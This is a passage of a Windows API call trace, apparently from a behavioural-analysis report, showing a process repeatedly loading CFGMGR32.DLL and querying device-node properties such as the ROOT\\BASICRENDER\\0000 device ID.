(hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.481] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0228.481] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0228.482] malloc (_Size=0x48) returned 0x196ef0fbae0 [0228.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69097845, dwHighDateTime=0x1d9eb0c)) [0228.482] SetEvent (hEvent=0x248) returned 1 [0228.488] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.488] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.491] malloc (_Size=0x18) returned 0x196ef0d1e00 [0228.491] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0228.491] malloc (_Size=0x48) returned 0x196ef0fba90 [0228.491] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x690bda34, dwHighDateTime=0x1d9eb0c)) [0228.492] SetEvent (hEvent=0x248) returned 1 [0228.494] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.494] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.497] malloc (_Size=0x18) returned 0x196ef0d1b60 [0228.498] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x6, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0228.498] malloc (_Size=0x48) returned 0x196ef0fbae0 [0228.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x690bda34, dwHighDateTime=0x1d9eb0c)) [0228.498] SetEvent (hEvent=0x248) returned 1 [0228.504] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.504] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.504] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.504] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.504] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.505] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.506] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.507] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.507] malloc (_Size=0x18) returned 0x196ef0d1960 [0228.507] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x6, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0228.507] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0228.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x690e3d0a, dwHighDateTime=0x1d9eb0c)) [0228.508] SetEvent (hEvent=0x248) returned 1 [0228.568] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.568] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.571] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0228.571] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0228.572] malloc (_Size=0x48) returned 0x196ef0fc120 [0228.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6917c5d9, dwHighDateTime=0x1d9eb0c)) [0228.572] SetEvent (hEvent=0x248) returned 1 [0228.576] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.576] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.579] malloc (_Size=0x18) returned 0x196ef0d1e20 [0228.579] CM_Get_Device_IDA (in: dnDevInst=0x8, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\BASICRENDER\\0000") returned 0x0 [0228.579] malloc (_Size=0x48) returned 0x196ef0fc0d0 [0228.579] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x691a2aba, dwHighDateTime=0x1d9eb0c)) [0228.580] SetEvent (hEvent=0x248) returned 1 [0228.583] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.584] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.587] malloc (_Size=0x18) returned 0x196ef0d1c60 [0228.587] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0228.587] malloc (_Size=0x24) returned 0x196ef0f9ac0 [0228.587] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9ac0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9ac0, pulLength=0x67117d608) returned 0x0 [0228.588] free (_Block=0x196ef0f9ac0) [0228.588] malloc (_Size=0x48) returned 0x196ef0fb810 [0228.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x691a2aba, dwHighDateTime=0x1d9eb0c)) [0228.589] SetEvent (hEvent=0x248) returned 1 [0228.592] malloc (_Size=0x18) returned 0x196ef0d1f20 [0228.592] SafeArrayPutElement (psa=0x196ef1f2570, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0228.592] free (_Block=0x196ef0d1f20) [0228.592] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855460 [0228.592] SafeArrayGetDim (psa=0x196ef1f2570) returned 0x1 [0228.592] SafeArrayGetLBound (in: psa=0x196ef1f2570, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0228.592] SafeArrayGetUBound (in: psa=0x196ef1f2570, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0228.592] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0228.592] SafeArrayGetDim (psa=0x196ef1f2570) returned 0x1 [0228.592] SafeArrayGetUBound (in: psa=0x196ef1f2570, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0228.592] SafeArrayGetElemsize (psa=0x196ef1f2570) returned 0x8 [0228.592] SafeArrayGetElement (in: psa=0x196ef1f2570, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0228.593] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225c20, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0228.594] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0228.594] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855460) returned 1 [0228.595] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.595] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.598] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0228.598] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0228.598] malloc (_Size=0x48) returned 0x196ef0fc170 [0228.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x691c8b2b, dwHighDateTime=0x1d9eb0c)) [0228.599] SetEvent (hEvent=0x248) returned 1 [0228.602] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.602] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.602] GetProcAddress 